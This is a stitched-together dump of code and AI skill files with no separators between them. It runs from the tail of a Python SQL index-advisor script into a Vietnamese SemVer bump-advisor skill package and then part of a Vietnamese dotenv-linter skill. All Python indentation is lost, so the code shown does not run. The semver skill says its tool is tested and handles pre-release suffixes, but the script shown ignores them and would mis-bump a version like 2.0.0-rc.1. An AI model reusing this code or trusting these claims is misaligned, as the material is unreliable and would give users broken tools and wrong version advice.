if 0 < len(extra) <= 3:
include = extra
out.append({"table": t, "columns": key, "include": include, "why": "; ".join(why), "queries": [q["n"]],
"source": "filter", "eq": list(eq),
"null_filter": [f["column"] for f in q["filters"] if f["table"] == t and f["op"] == "IS NULL"]})
for left, right in q["joins"]:
for (t, c), (ot, oc) in ((left, right), (right, left)):
if t not in tables_in_q:
continue # outer table of a correlated subquery
eq = [e for e in by_table.get(t, {}).get("eq", []) if e != c]
rng = [r for r in by_table.get(t, {}).get("range", []) if r != c and r not in eq][:1]
why = f"join column {t}.{c} = {ot}.{oc} first (lets the planner look up matching rows)"
if eq or rng:
why += f", then {', '.join(eq + rng)} to filter inside the index"
if t in correlated:
why = f"correlated lookup {t}.{c} = outer {ot}.{oc} first" + (f", then {', '.join(eq + rng)}" if eq or rng else "")
out.append({"table": t, "columns": [c] + eq + rng, "include": [], "queries": [q["n"]], "source": "join",
"eq": [c] + eq, "why": why})
return out
def served_by(cand, indexes):
for ix in indexes:
if ix["table"] != cand["table"]:
continue
cols = ix["columns"]
if cand["source"] == "join" and ix["unique"] and cols == cand["columns"][:1] and not ix.get("partial"):
return ix # joining on a unique key: one row per lookup, extra columns add little
if cols[:len(cand["columns"])] == cand["columns"]:
return ix
n_eq = len(cand.get("eq", []))
if n_eq > 1 and len(cols) >= len(cand["columns"]) and set(cols[:n_eq]) == set(cand["columns"][:n_eq]) \
and cols[n_eq:len(cand["columns"])] == cand["columns"][n_eq:]:
return ix # same equality columns in another order serve the query equally well
return None
def served_by_named(c, indexes):
ix = served_by(c, indexes)
return {"existing": ix["name"] if ix else "?"}
def merge(cands):
merged = []
for c in sorted(cands, key=lambda c: -len(c["columns"])):
for m in merged:
if m["table"] == c["table"] and m["columns"][:len(c["columns"])] == c["columns"]:
m["queries"] = sorted(set(m["queries"]) | set(c["queries"]))
m["include"] = m["include"] or []
break
else:
merged.append(dict(c))
return sorted(merged, key=lambda c: (c["table"], c["columns"]))
def schema_findings(indexes, max_indexes, new_by_table):
out = []
by_table = {}
for ix in indexes:
by_table.setdefault(ix["table"], []).append(ix)
for t, ixs in by_table.items():
for i, a in enumerate(ixs):
for b in ixs[i + 1:]:
if a["columns"] == b["columns"] and (a.get("partial") == b.get("partial")):
out.append({"level": "high", "rule": "duplicate-index",
"message": f"{t}: {a['name']} and {b['name']} have the same columns ({', '.join(a['columns'])}); drop one"})
elif a["columns"] != b["columns"]:
short, long_ = (a, b) if len(a["columns"]) < len(b["columns"]) else (b, a)
if long_["columns"][:len(short["columns"])] == short["columns"] and not short["unique"] \
and not short.get("partial"):
out.append({"level": "warn", "rule": "redundant-prefix",
"message": f"{t}: {short['name']} ({', '.join(short['columns'])}) is a leftmost prefix of "
f"{long_['name']} ({', '.join(long_['columns'])}); usually droppable"})
for ix in ixs:
if len(ix["columns"]) == 1 and LOW_CARD.search(ix["columns"][0]) and ix["kind"] == "index" and not ix.get("partial"):
out.append({"level": "warn", "rule": "low-selectivity",
"message": f"{t}: {ix['name']} indexes only '{ix['columns'][0]}', which sounds like a flag or status "
"with few values; use a composite or partial index instead"})
total = len(ixs) + new_by_table.get(t, 0)
if total > max_indexes:
out.append({"level": "warn", "rule": "many-indexes",
"message": f"{t}: {len(ixs)} existing + {new_by_table.get(t, 0)} suggested = {total} indexes "
f"(limit {max_indexes}); every insert and update maintains all of them"})
return out
def ddl(c, dialect):
name = f"idx_{c['table']}_{'_'.join(c['columns'])}"[:63]
cols = ", ".join(c["columns"])
if c["include"]:
if dialect == "postgres":
return f"CREATE INDEX CONCURRENTLY {name} ON {c['table']} ({cols}) INCLUDE ({', '.join(c['include'])});"
cols += ", " + ", ".join(c["include"])
if dialect == "postgres":
return f"CREATE INDEX CONCURRENTLY {name} ON {c['table']} ({cols});"
if dialect == "mysql":
return f"ALTER TABLE {c['table']} ADD INDEX {name} ({cols}), ALGORITHM=INPLACE, LOCK=NONE;"
return f"CREATE INDEX {name} ON {c['table']} ({cols});"
# ---------------------------------------------------------------- main
def parse_args(argv):
opts = {"schema": None, "files": [], "dialect": "postgres", "max_indexes": 6, "covering": True,
"json": False, "strict": False}
i = 0
while i < len(argv):
a = argv[i]
if a in ("-h", "--help"):
print(__doc__)
sys.exit(0)
if a in ("--schema", "--dialect", "--max-indexes"):
if i + 1 >= len(argv):
raise UsageError(f"{a} needs a value")
v = argv[i + 1]
if a == "--schema":
opts["schema"] = v
elif a == "--dialect":
if v not in ("postgres", "mysql", "sqlite"):
raise UsageError("--dialect must be postgres, mysql, or sqlite")
opts["dialect"] = v
else:
try:
opts["max_indexes"] = int(v)
except ValueError:
raise UsageError(f"--max-indexes needs a whole number, got {v!r}")
i += 2
elif a == "--no-covering":
opts["covering"] = False; i += 1
elif a == "--json":
opts["json"] = True; i += 1
elif a == "--strict":
opts["strict"] = True; i += 1
elif a.startswith("--"):
raise UsageError(f"unknown option {a}")
else:
opts["files"].append(a); i += 1
if not opts["files"] and not opts["schema"]:
raise UsageError("give a query file (or - for stdin), optionally with --schema FILE")
return opts
def read(path):
if path == "-":
return sys.stdin.read()
with open(path, encoding="utf-8") as f:
return f.read()
def main(argv):
try:
opts = parse_args(argv)
schema_text = read(opts["schema"]) if opts["schema"] else ""
query_texts = [read(p) for p in opts["files"]]
except UsageError as e:
print(f"error: {e}", file=sys.stderr)
return 2
except OSError as e:
print(f"error: cannot read {e.filename}: {e.strerror}", file=sys.stderr)
return 2
statements = split_statements(strip_comments(schema_text))
query_stmts = []
for text in query_texts:
clean = strip_comments(text)
for st in split_statements(clean):
(statements if re.match(r"\s*create\s", st, re.I) else query_stmts).append(st)
tables, indexes = parse_schema(statements)
queries, n = [], 0
expanded = []
for st in query_stmts:
masked, _l = mask_strings(st)
if len(split_top(masked, r"\bunion(?:\s+all)?\b")) > 1: # a real top-level UNION, not one inside a string
expanded.extend(split_top(st, r"\bunion(?:\s+all)?\b")) # each branch is analyzed as its own query
else:
expanded.append(st)
for st in expanded:
pending = [(st, None, None)]
while pending:
cur, lits, outer = pending.pop(0)
n += 1
q = parse_query(cur, tables, n, lits, outer)
if q is None:
n -= 1
continue
queries.append(q)
for sub in q["subqueries"]:
pending.append((sub, q["lits"], {**(outer or {}), **q["aliases"]}))
q["notes"].append(f"subquery analyzed as Q{n + len(pending)}")
if not queries:
print("error: no SELECT, UPDATE, or DELETE statements found", file=sys.stderr)
return 2
pks = {ix["table"]: ix["columns"] for ix in indexes if ix["kind"] == "primary"}
cands = []
for q in queries:
cands += candidates_for(q, opts["dialect"], opts["covering"], pks)
covered, open_cands = [], []
for c in cands:
ix = served_by(c, indexes)
if ix:
covered.append({**c, "existing": ix["name"]})
else:
open_cands.append(c)
suggested = merge(open_cands)
covered = merge(covered)
for c in covered:
c["existing"] = next(x["existing"] for x in [served_by_named(c, indexes)])
new_by_table = {}
for c in suggested:
new_by_table[c["table"]] = new_by_table.get(c["table"], 0) + 1
c["ddl"] = ddl(c, opts["dialect"])
lead = c["columns"][0]
c["tradeoff"] = ("every INSERT, UPDATE of these columns, and DELETE on " + c["table"] +
" also writes this index; size grows with the row count and column widths")
if LOW_CARD.search(lead) and len(c["columns"]) == 1:
c["tradeoff"] += f"; '{lead}' looks low-selectivity, so the planner may still prefer a scan"
for a in suggested:
others = [k for k, b in enumerate(suggested, 1) if b is not a and b["table"] == a["table"]
and b["columns"][0] == a["columns"][0]]
a["overlaps"] = others
a["makes_redundant"] = [ix["name"] for ix in indexes if ix["table"] == a["table"] and not ix["unique"]
and ix["kind"] != "primary" and len(ix["columns"]) < len(a["columns"])
and a["columns"][:len(ix["columns"])] == ix["columns"]]
if a.get("null_filter") and opts["dialect"] == "postgres":
col = a["null_filter"][0]
rest = [c for c in a["columns"] if c != col]
name = f"idx_{a['table']}_{'_'.join(rest)}_{col}_null"[:63]
a["partial_hint"] = (f"CREATE INDEX CONCURRENTLY {name} ON {a['table']} ({', '.join(rest)}) "
f"WHERE {col} IS NULL; -- smaller if few rows match")
findings = schema_findings(indexes, opts["max_indexes"], new_by_table)
report = {"dialect": opts["dialect"], "tables": {t: len(v["columns"]) for t, v in tables.items()},
"existing_indexes": indexes, "queries": [{k: v for k, v in q.items() if k not in ("subqueries", "lits")}
for q in queries],
"suggested": suggested, "already_covered": covered, "schema_findings": findings}
for q in report["queries"]:
q["joins"] = [f"{a[0]}.{a[1]} = {b[0]}.{b[1]}" for a, b in q["joins"]]
strict_fail = opts["strict"] and (any(q["non_sargable"] for q in queries) or
any(f["rule"] == "duplicate-index" for f in findings))
if opts["json"]:
print(json.dumps(report, indent=2))
return 1 if strict_fail else 0
print(f"Schema: {len(tables)} table(s), {len(indexes)} existing index(es) incl. keys | dialect: {opts['dialect']}")
print(f"Queries analyzed: {len(queries)}")
for q in report["queries"]:
print(f"\nQ{q['n']} {q['kind']}: {q['text']}")
tabs = ", ".join(f"{t} {a}" if a != t else t for a, t in q["aliases"].items())
print(f" tables: {tabs or '-'}")
eqs = [f"{f['table'] or '?'}.{f['column']} ({f['op']})" for f in q["filters"] if f["kind"] == "eq"]
rngs = [f"{f['table'] or '?'}.{f['column']} ({f['op']})" for f in q["filters"] if f["kind"] == "range"]
if eqs:
print(f" equality: {', '.join(eqs)}")
if rngs:
print(f" range: {', '.join(rngs)}")
if q["joins"]:
print(f" joins: {', '.join(q['joins'])}")
if q["order_by"]:
print(" order by: " + ", ".join(f"{o['table']}.{o['column']} {o['dir'].upper()}" for o in q["order_by"])
+ (" (LIMIT)" if q["limit"] else ""))
if q["group_by"]:
print(" group by: " + ", ".join(f"{g['table']}.{g['column']}" for g in q["group_by"]))
for w in q["warnings"]:
print(f" WARN {w}")
for nt in q["notes"]:
print(f" note: {nt}")
print(f"\nSuggested indexes ({len(suggested)}):")
if not suggested:
print(" none: existing indexes already lead with the needed columns")
for k, c in enumerate(suggested, 1):
print(f" {k}. {c['ddl']}")
print(f" serves: {', '.join('Q' + str(x) for x in c['queries'])} | why: {c['why']}")
if c["include"]:
print(f" covering: {', '.join(c['include'])} added so the query can skip the table (optional)")
print(f" tradeoff: {c['tradeoff']}")
if c.get("overlaps"):
print(f" overlap: same leading column as #{', #'.join(map(str, c['overlaps']))}; "
"check whether one index can serve both before creating two")
if c.get("makes_redundant"):
print(f" makes redundant: {', '.join(c['makes_redundant'])} (leftmost prefix of this index; drop after checking usage)")
if c.get("partial_hint"):
print(f" alternative: {c['partial_hint']}")
if covered:
print(f"\nAlready served by existing indexes ({len(covered)}):")
for c in covered:
print(f" {c['table']} ({', '.join(c['columns'])}) -> {c['existing']} (Q{', Q'.join(map(str, c['queries']))})")
print(f"\nSchema findings ({len(findings)}):")
if not findings:
print(" none")
for f in findings:
print(f" {f['level'].upper():<4} {f['rule']:<17} {f['message']}")
print("\nNext: run EXPLAIN (ANALYZE, BUFFERS) or EXPLAIN on real data before and after; build one index at a time.")
return 1 if strict_fail else 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))Đọc các Conventional Commits hoặc một đoạn nhật ký thay đổi (changelog), phân loại các thay đổi fix/feat/breaking, và khuyến nghị mức tăng SemVer tiếp theo (patch, minor, hoặc major) kèm lý do rõ ràng và bản xem trước phiên bản kết quả. Sử dụng khi người dùng hỏi "tôi nên phát hành phiên bản nào?", "đây có phải là thay đổi gây lỗi tương thích (breaking change) không?", hoặc "tăng SemVer từ các commit này". Bao gồm công cụ cố vấn bằng thư viện chuẩn Python đã được kiểm thử.
---
name: semver-bump-advisor
description: Đọc các Conventional Commits hoặc một đoạn nhật ký thay đổi (changelog), phân loại các thay đổi fix/feat/breaking, và khuyến nghị mức tăng SemVer tiếp theo (patch, minor, hoặc major) kèm lý do rõ ràng và bản xem trước phiên bản kết quả. Sử dụng khi người dùng hỏi "tôi nên phát hành phiên bản nào?", "đây có phải là thay đổi gây lỗi tương thích (breaking change) không?", hoặc "tăng SemVer từ các commit này". Bao gồm công cụ cố vấn bằng thư viện chuẩn Python đã được kiểm thử.
---
# Cố Vấn Tăng Phiên Bản SemVer (SemVer Bump Advisor)
Bạn giúp các nhóm phát triển chọn phiên bản Semantic Version tiếp theo dựa trên các tín hiệu thay đổi thực tế: dòng tiêu đề Conventional Commit, đoạn changelog ngắn, hoặc danh sách rõ ràng các loại thay đổi. Bạn tách bạch rõ mức patch (sửa lỗi, tài liệu, công việc bảo trì không làm thay đổi API công khai), minor (tính năng mới tương thích ngược), và major (thay đổi phá vỡ tính tương thích - breaking changes), sau đó hiển thị chuỗi phiên bản kết quả. Bạn không tự bịa ra ghi chú phát hành (release notes) mà người dùng không hàm ý.
## Các tệp trong kỹ năng này
- `scripts/semver_bump.py` - phân tích các commit hoặc danh sách dạng CHANGELOG, chấm điểm mức tăng cao nhất cần thiết và in bảng giải thích lý do (chỉ dùng thư viện chuẩn Python 3)
- `references/conventional-commits-semver.md` - cách ánh xạ các loại commit sang SemVer, bao gồm `BREAKING CHANGE` và `!`
- `references/edge-cases.md` - các quy tắc cho phiên bản trước 1.0 (pre-1.0), siêu dữ liệu bản dựng (build metadata), đa gói (multiple packages), và khi nào không cần tăng phiên bản
- `templates/bump-report.md` - mẫu báo cáo kết quả trả về
- `examples/example-library-release.md` - ví dụ minh họa chi tiết từ một lần phát hành thư viện nhỏ
## Quy trình làm việc
### 1. Thu thập thông tin
Hỏi người dùng, hoặc tự giả định và nêu rõ điều đó:
- Phiên bản hiện tại (`MAJOR.MINOR.PATCH`, tùy chọn hậu tố tiền phát hành pre-release).
- Các tín hiệu thay đổi: các dòng Conventional Commit, changelog kể từ tag gần nhất, hoặc các gạch đầu dòng đã gắn nhãn (fix / feat / breaking).
- Liệu dự án có đang ở giai đoạn `0.x` hay không (sẽ có các kỳ vọng khác) và liệu API công khai ở đây có nghĩa là các cờ CLI, các route HTTP, hay các hàm/đối tượng export của thư viện.
### 2. Chạy công cụ cố vấn
```bash
python3 scripts/semver_bump.py 1.4.2 --commits commits.txt
python3 scripts/semver_bump.py 0.9.1 --commits - --pre-1-0-major-as-minor
python3 scripts/semver_bump.py 2.0.0-rc.1 --json < changes.txt
```
Một tệp chứa các commit gồm mỗi dòng một tiêu đề (tùy chọn tiền tố `type(scope):`). Các dòng có thể bao gồm phần chân trang (footer) `BREAKING CHANGE:` ở các dòng thụt lề tiếp theo, hoặc dấu `!` ngay sau loại commit. Luôn hiển thị kết quả đầu ra của công cụ, sau đó giải thích lại bằng ngôn ngữ dễ hiểu.
### 3. Tư vấn
1. Nêu rõ mức tăng phiên bản cao nhất cần thiết và lý do tại sao (trích dẫn commit hoặc dòng thay đổi mang tính quyết định).
2. Hiển thị chuỗi phiên bản tiếp theo, bao gồm cả cách đặt lại (reset) các phiên bản tiền phát hành (pre-release) khi chuyển lên bản phát hành ổn định (stable) nếu có liên quan.
3. Chỉ ra các dòng còn mơ hồ (ví dụ như `refactor` có khả năng gây lỗi tương thích) và yêu cầu người dùng xác nhận mức độ ảnh hưởng tới API khi cần thiết.
4. Trả kết quả theo mẫu `templates/bump-report.md`, tuân theo cách trình bày của `examples/example-library-release.md`.
## Quy tắc
- Không bao giờ bỏ qua việc tăng phiên bản major khi rõ ràng có mặt một thay đổi gây lỗi tương thích (breaking change), trừ khi người dùng chủ động chọn cách xử lý tăng nhẹ (soft-major) cho giai đoạn trước phiên bản 1.0.
- Không tự bịa ra các commit; nếu danh sách trống, hãy nói rõ và từ chối đoán mò.
- Giữ phần siêu dữ liệu bản dựng (`+...`) nằm ngoài phép tính tăng phiên bản; chỉ loại bỏ hoặc giữ lại phần đó theo đúng yêu cầu của người dùng.
- Ưu tiên bảng ánh xạ Conventional Commits trong `references/conventional-commits-semver.md` hơn là các nhãn tự phát.
FILE:references/conventional-commits-semver.md
# Conventional Commits → SemVer
## Ánh xạ loại commit (mặc định)
| Tín hiệu commit | Mức tăng SemVer |
|---|---|
| `fix`, `docs`, `style`, `test`, `chore`, `ci`, `perf` (không gây lỗi tương thích) | **patch** |
| `feat` (không gây lỗi tương thích) | **minor** |
| Phần chân trang `BREAKING CHANGE`, hoặc `type!:` / `type(scope)!:` | **major** |
| `refactor`, `build`, `revert` không có dấu hiệu gây lỗi tương thích | **patch** (xác nhận lại nếu API công khai bị thay đổi) |
Khi có nhiều commit xuất hiện, lấy mức tăng **cao nhất**: major > minor > patch.
## Dấu hiệu thay đổi gây lỗi tương thích (Breaking change markers)
1. Một dòng ở phần chân trang (footer) bắt đầu bằng `BREAKING CHANGE:` hoặc `BREAKING-CHANGE:`.
2. Dấu `!` nằm ngay trước dấu hai chấm: `feat!: ...` hoặc `feat(api)!: ...`.
## Phạm vi (Scopes)
Bản thân phần phạm vi (scope) không làm thay đổi mức tăng phiên bản. `feat(cli): add --json` vẫn là mức minor. `fix(docs): typo` vẫn là mức patch.
## Các phiên bản tiền phát hành (Pre-release versions)
Giả sử phiên bản hiện tại là `1.2.0-rc.3`:
- Một thay đổi ở mức patch khi vẫn đang trong giai đoạn RC thường sẽ trở thành `1.2.0-rc.4` nếu bạn tiếp tục duy trì trên kênh RC.
- Việc chuyển lên bản ổn định (stable) sau giai đoạn RC là quyết định về mặt sản phẩm: thường sẽ là `1.2.0` (chứ không phải `1.2.1`) khi bản RC đó vốn đã đại diện cho bản minor đó rồi.
Script của kỹ năng này xử lý phần nhân số học `MAJOR.MINOR.PATCH` cho việc tính toán tăng phiên bản và in riêng các ghi chú hướng dẫn xử lý hậu tố pre-release.
FILE:references/edge-cases.md
# Các trường hợp biên (Edge cases)
## Giai đoạn trước 1.0 (`0.x.y`)
SemVer cho phép các thay đổi gây lỗi tương thích trong nhánh `0.x` mà không cần tăng phiên bản major, nhưng nhiều nhóm vẫn dùng quy tắc `feat` → minor và breaking → major để đảm bảo sự rõ ràng. Hãy đưa ra cả hai lựa chọn:
- Tuân thủ linh hoạt theo SemVer: thay đổi gây lỗi tương thích trong giai đoạn `0.x` có thể chỉ cần tăng mức minor.
- Chính sách nội bộ của nhóm: coi thay đổi gây lỗi tương thích là mức major ngay cả trước phiên bản 1.0 (tắt cờ `--pre-1-0-major-as-minor`).
## Đa gói (Multiple packages)
Các kho lưu trữ kiểu monorepo có thể tăng phiên bản cho từng gói một cách độc lập. Hãy chạy công cụ cố vấn một lần cho mỗi gói chỉ với các commit thuộc về gói đó.
## Các bản refactor mơ hồ
`refactor: rename export Foo to Bar` là thay đổi gây lỗi tương thích đối với các thư viện ngay cả khi không có dấu `!`. Hãy cảnh báo và hỏi lại người dùng: nếu API công khai bị đổi tên → tăng major; nếu chỉ thay đổi nội bộ → tăng patch.
## Các dòng trống hoặc không theo chuẩn Conventional
Các câu mô tả thông thường không có tiền tố phân loại vẫn được tính nếu chúng ghi rõ là "breaking" hoặc "add feature"; nếu không, hãy đánh dấu chúng là **unknown** (chưa rõ) và hỏi lại người dùng.
## Siêu dữ liệu bản dựng (Build metadata)
`1.2.3+build.9` — hãy tăng phần số phiên bản cốt lõi, sau đó quyết định xem nên bỏ đi hay làm mới phần `+build...`. Không để siêu dữ liệu ảnh hưởng đến phép tính major/minor/patch.
FILE:templates/bump-report.md
# Báo cáo tăng phiên bản SemVer
## Phiên bản hiện tại
- …
## Mức tăng khuyến nghị
- Cấp độ: patch | minor | major
- Phiên bản tiếp theo: …
- Thay đổi mang tính quyết định: …
## Bảng thống kê thay đổi
| Cấp độ | Số lượng | Ví dụ |
|---|---|---|
| major | | |
| minor | | |
| patch | | |
| unknown | | |
## Ghi chú và câu hỏi
- …
## Lệnh gắn thẻ (tag) / phát hành đề xuất
```bash
# example
git tag -a vX.Y.Z -m "…"
```
FILE:examples/example-library-release.md
# Ví dụ: phát hành thư viện từ các Conventional Commits
**Phiên bản hiện tại:** `1.4.2`
**Các commit kể từ bản v1.4.2:**
```
fix: handle empty Accept headers
feat(api): add cursor pagination
docs: fix README typo
feat!: remove deprecated /v1/list route
```
**Kết quả từ công cụ cố vấn:** major → `2.0.0` do có commit `feat!: remove deprecated /v1/list route`.
**Lý do:** Dấu `!` đánh dấu việc gỡ bỏ một API gây lỗi tương thích ngược. Riêng tính năng phân trang mới chỉ dừng ở mức minor (`1.5.0`), và riêng phần sửa lỗi/tài liệu chỉ ở mức patch (`1.4.3`), nhưng mức major được ưu tiên cao nhất.
**Trích đoạn báo cáo:** Khuyến nghị phát hành bản `2.0.0` kèm theo hướng dẫn chuyển đổi (migration note) cho các bên đang gọi `/v1/list`; đồng thời nêu bật tính năng phân trang bằng con trỏ (cursor pagination) như là tính năng tiêu điểm của bản cập nhật major này.
FILE:scripts/semver_bump.py
#!/usr/bin/env python3
"""Recommend a SemVer bump from Conventional Commit subjects or change lines.
Usage:
python3 semver_bump.py 1.4.2 --commits commits.txt
python3 semver_bump.py 0.9.1 --commits - --pre-1-0-major-as-minor
python3 semver_bump.py 2.0.0 --json < changes.txt
"""
from __future__ import annotations
import argparse
import json
import re
import sys
TYPE_PATCH = {"fix", "docs", "style", "test", "chore", "ci", "perf", "build", "refactor", "revert"}
TYPE_MINOR = {"feat"}
COMMIT_RE = re.compile(
r"^(?P<type>[a-zA-Z]+)(?P<scope>\([^)]*\))?(?P<breaking>!)?:\s*(?P<sub>.+)$"
)
VER_RE = re.compile(
r"^(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)"
r"(?:-(?P<pre>[0-9A-Za-z.-]+))?(?:\+(?P<build>[0-9A-Za-z.-]+))?$"
)
LEVELS = {"none": 0, "patch": 1, "minor": 2, "major": 3}
def parse_version(v: str) -> dict:
m = VER_RE.match(v.strip())
if not m:
raise SystemExit(f"error: not a SemVer core version: {v!r}")
return {k: m.group(k) for k in ("major", "minor", "patch", "pre", "build")}
def classify_line(line: str) -> tuple[str, str]:
raw = line.strip()
if not raw or raw.startswith("#"):
return "skip", raw
lower = raw.lower()
if lower.startswith("breaking change:") or lower.startswith("breaking-change:"):
return "major", raw
m = COMMIT_RE.match(raw)
if m:
if m.group("breaking"):
return "major", raw
t = m.group("type").lower()
if t in TYPE_MINOR:
return "minor", raw
if t in TYPE_PATCH:
return "patch", raw
return "unknown", raw
if "breaking" in lower:
return "major", raw
if lower.startswith("feat") or "new feature" in lower or lower.startswith("add "):
return "minor", raw
if lower.startswith("fix") or "bug" in lower:
return "patch", raw
return "unknown", raw
def read_lines(path: str) -> list[str]:
if path == "-":
return sys.stdin.read().splitlines()
with open(path, encoding="utf-8") as f:
return f.read().splitlines()
def bump(ver: dict, level: str, pre10_soft: bool) -> str:
major, minor, patch = int(ver["major"]), int(ver["minor"]), int(ver["patch"])
if level == "none":
core = f"{major}.{minor}.{patch}"
elif level == "major":
if pre10_soft and major == 0:
minor += 1
patch = 0
else:
major += 1
minor = 0
patch = 0
core = f"{major}.{minor}.{patch}"
elif level == "minor":
minor += 1
patch = 0
core = f"{major}.{minor}.{patch}"
else:
patch += 1
core = f"{major}.{minor}.{patch}"
return core
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(description=__doc__)
ap.add_argument("version", help="Current SemVer, e.g. 1.4.2 or 0.9.1-rc.1")
ap.add_argument("--commits", default="-", help="File of commit subjects (default: stdin)")
ap.add_argument("--pre-1-0-major-as-minor", action="store_true",
help="In 0.x, treat breaking as minor bump")
ap.add_argument("--json", action="store_true", help="Machine-readable JSON output")
args = ap.parse_args(argv)
ver = parse_version(args.version)
lines = read_lines(args.commits)
tallies = {"major": [], "minor": [], "patch": [], "unknown": []}
best = "none"
for line in lines:
level, raw = classify_line(line)
if level == "skip":
continue
tallies[level].append(raw)
if LEVELS[level] > LEVELS[best]:
best = level
if best == "none":
print("error: no usable change lines", file=sys.stderr)
return 1
next_v = bump(ver, best, args.pre_1_0_major_as_minor)
decisive = (tallies[best][0] if tallies[best] else "")
note = None
if args.pre_1_0_major_as_minor and int(ver["major"]) == 0 and best == "major":
note = "pre-1.0 soft major: breaking treated as minor bump"
# best label stays major for tally, but version used soft path
result = {
"current": args.version,
"bump": best,
"next": next_v,
"decisive": decisive,
"tally": {k: len(v) for k, v in tallies.items()},
"examples": {k: v[:5] for k, v in tallies.items() if v},
"note": note,
}
if args.json:
json.dump(result, sys.stdout, indent=2)
sys.stdout.write("\n")
else:
print(f"current: {args.version}")
print(f"bump: {best}")
print(f"next: {next_v}")
if note:
print(f"note: {note}")
print(f"decisive:{decisive}")
print("tally:")
for k in ("major", "minor", "patch", "unknown"):
print(f" {k}: {len(tallies[k])}")
for ex in tallies[k][:5]:
print(f" - {ex}")
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))Kiểm tra (lint) các tệp .env và .env.example để phát hiện bí mật (secrets) vô tình bị commit, tên biến yếu, khóa trùng lặp, tiền tố export, khoảng trắng quanh dấu bằng, giá trị bắt buộc bị bỏ trống và nội suy không an toàn, sau đó đề xuất một tệp ví dụ đã được làm sạch. Sử dụng khi người dùng hỏi "tệp .env này có an toàn để commit không?", "tại sao dotenv không tải được?", hoặc "so sánh tệp .env.example của tôi". Bao gồm trình kiểm tra bằng thư viện chuẩn Python đã được kiểm thử.
---
name: dotenv-config-linter
description: Kiểm tra (lint) các tệp .env và .env.example để phát hiện bí mật (secrets) vô tình bị commit, tên biến yếu, khóa trùng lặp, tiền tố export, khoảng trắng quanh dấu bằng, giá trị bắt buộc bị bỏ trống và nội suy không an toàn, sau đó đề xuất một tệp ví dụ đã được làm sạch. Sử dụng khi người dùng hỏi "tệp .env này có an toàn để commit không?", "tại sao dotenv không tải được?", hoặc "so sánh tệp .env.example của tôi". Bao gồm trình kiểm tra bằng thư viện chuẩn Python đã được kiểm thử.
---
# Trình Kiểm Tra Cấu Hình Dotenv và Rò Rỉ Bí Mật (Linter)
Bạn giúp người dùng giữ cho các tệp biến môi trường luôn chính xác và an toàn. Bạn phân biệt rõ giữa các thông tin bí mật (secrets) tuyệt đối không bao giờ được commit với các giá trị giữ chỗ (placeholders) thuộc về tệp `.env.example`, phát hiện các lỗi cú pháp khiến trình nạp `dotenv` bị lỗi, và đề xuất một tệp ví dụ đã được làm sạch. Bạn không bao giờ yêu cầu người dùng dán các thông tin bí mật trên môi trường production vào khung chat nếu chỉ cần một mẫu đã che thông tin nhạy cảm là đủ.
## Các tệp trong kỹ năng này
- `scripts/dotenv_lint.py` - phân tích cú pháp dotenv, báo cáo các phát hiện ở mức HIGH/WARN/INFO, và có thể xuất ra tệp `.env.example` đã được làm sạch thông tin nhạy cảm (chỉ dùng thư viện chuẩn Python 3)
- `references/dotenv-rules.md` - các quy tắc về cú pháp và an toàn bảo mật được mã hóa trong trình kiểm tra
- `references/secret-patterns.md` - các định dạng bí mật phổ biến và cách thay thế chúng bằng giá trị giữ chỗ (placeholders)
- `templates/lint-report.md` - mẫu báo cáo kết quả trả về
- `examples/example-webapp-env-review.md` - ví dụ thực tế về việc rà soát một tệp env lộn xộn của ứng dụng web
## Quy trình làm việc
### 1. Thu thập thông tin
- Xác định tệp đó là `.env` (chứa bí mật cục bộ), `.env.example` (chứa giá trị giữ chỗ), hay cấu hình env cho CI.
- Những khóa (keys) nào là bắt buộc phải có khi khởi động hệ thống.
- Kho lưu trữ (repo) đã có công cụ quét bí mật (như gitleaks, trufflehog) hay chưa.
### 2. Chạy trình kiểm tra (linter)
```bash
python3 scripts/dotenv_lint.py .env
python3 scripts/dotenv_lint.py .env.example --example-mode
python3 scripts/dotenv_lint.py app.env --emit-example cleaned.env.example
python3 scripts/dotenv_lint.py - --json < sample.env
```
Ưu tiên sử dụng các mẫu đã che thông tin nhạy cảm. Nếu người dùng dán thông tin bí mật thật vào, hãy cảnh báo họ xoay vòng (rotate) lại bất kỳ khóa nào có nguy cơ đã bị lộ.
### 3. Khắc phục
1. Xử lý các phát hiện mức HIGH (nghi ngờ có thông tin bí mật thật trong tệp ví dụ, khóa bị trùng lặp, giá trị chứa khoảng trắng nhưng không đặt trong dấu ngoặc) trước tiên.
2. Đồng bộ tệp `.env.example` với các khóa bắt buộc bằng cách sử dụng các giá trị giữ chỗ từ `references/secret-patterns.md`.
3. Trả kết quả theo mẫu `templates/lint-report.md`.
## Quy tắc
- Không bao giờ khuyên người dùng commit tệp `.env` thật có chứa thông tin xác thực đang hoạt động.
- Không in toàn bộ giá trị bí mật trong phần tóm tắt; chỉ hiển thị ở dạng đã che (`sk-…XXXX`).
- Giữ nguyên tên các khóa trừ khi người dùng muốn đổi tên để rõ nghĩa hơn.
FILE:references/dotenv-rules.md
# Các quy tắc Dotenv mà kỹ năng này thực thi
## Cú pháp
- Mỗi dòng một cặp `KEY=VALUE`; ký tự `#` bắt đầu một dòng chú thích.
- Ưu tiên không để khoảng trắng xung quanh dấu `=`. Dạng `KEY = VALUE` sẽ bị cảnh báo mức WARN (một số trình nạp chấp nhận, nhưng nhiều trình nạp khác thì không).
- Các giá trị có chứa khoảng trắng hoặc ký tự `#` nên được đặt trong dấu ngoặc đơn hoặc ngoặc kép.
- Cú pháp `export KEY=VALUE` ở mức INFO (hoạt động trong các shell, nhưng dư thừa đối với hầu hết các trình phân tích cú pháp dotenv).
- Khóa trùng lặp: khóa xuất hiện sau cùng sẽ ghi đè các khóa trước trong nhiều trình nạp — đánh dấu ở mức HIGH vì ý đồ cấu hình không rõ ràng.
## An toàn bảo mật
- Tệp `.env.example` không được chứa các giá trị trông giống như bí mật thật đang hoạt động (chuỗi token ngẫu nhiên dài, khóa riêng tư private key, các tiền tố `sk-`/`ghp_`, các khóa có định dạng của AWS).
- Giá trị rỗng đối với các khóa được liệt kê là bắt buộc → mức WARN.
- Phép nội suy `OTHER` ở mức INFO; cần xác nhận khóa được tham chiếu có tồn tại.
## Đặt tên
- Ưu tiên định dạng `SCREAMING_SNAKE_CASE`.
- Tránh các tên chung chung như `PASSWORD` mà không có tiền tố chỉ rõ dịch vụ (nên dùng `DB_PASSWORD`).
FILE:references/secret-patterns.md
